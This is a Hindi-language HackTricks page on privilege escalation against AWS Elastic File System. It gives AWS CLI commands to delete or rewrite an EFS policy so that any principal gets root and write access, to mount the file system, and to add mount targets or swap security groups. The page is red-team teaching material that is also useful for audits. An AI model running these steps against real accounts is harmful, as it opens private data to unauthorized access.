AWS - EFS Privesc

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

EFS

EFS के बारे में अधिक जानकारी:

AWS - EFS Enum

याद रखें कि EFS को mount करने के लिए आपको उसी subnetwork में होना चाहिए जहाँ EFS expose किया हुआ है और आपको उस तक access होना चाहिए (security groups)। यदि ऐसा है, तो default रूप से आप हमेशा इसे mount कर पाएँगे; हालांकि, यदि यह IAM policies द्वारा protected है तो इसे access करने के लिए आपको यहाँ बताए गए अतिरिक्त permissions की आवश्यकता होगी।

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

इन permissions में से किसी के साथ attacker file system policy को बदल सकता है ताकि वह आपको इसे access दे सके, या बस इसे delete कर दे ताकि default access मिल जाए।

पॉलिसी हटाने के लिए:

bash
aws efs delete-file-system-policy \
--file-system-id <value>

इसे बदलने के लिए:

json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

इस अनुमति के साथ attacker mount the EFS करने में सक्षम होगा। यदि write permission डिफ़ॉल्ट रूप से उन सभी को नहीं दी गई है जो mount the EFS कर सकते हैं, तो उसके पास केवल read access होगा।

bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

अतिरिक्त permissions elasticfilesystem:ClientRootAccess और elasticfilesystem:ClientWrite का उपयोग EFS mount होने के बाद उसके अंदर लिखने और उस फ़ाइल सिस्टम तक root के रूप में एक्सेस करने के लिए किया जा सकता है।

संभावित प्रभाव: फ़ाइल सिस्टम में संवेदनशील जानकारी ढूँढकर Indirect privesc।

elasticfilesystem:CreateMountTarget

यदि कोई attacker ऐसे subnetwork में है जहाँ EFS का कोई mount target मौजूद नहीं है, तो वह इस privilege के साथ अपने subnet में बस एक mount target बना सकता है:

bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potential Impact: अप्रत्यक्ष privesc — फ़ाइल सिस्टम में संवेदनशील जानकारी खोजकर।

elasticfilesystem:ModifyMountTargetSecurityGroups

ऐसी स्थिति में जहाँ हमलावर पाता है कि EFS उसके subnetwork में mount target है लेकिन कोई security group ट्रैफ़िक की अनुमति नहीं दे रहा है, वह बस चयनित security groups को बदलकर इसे बदल सकता है:

bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potential Impact: फ़ाइल सिस्टम में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें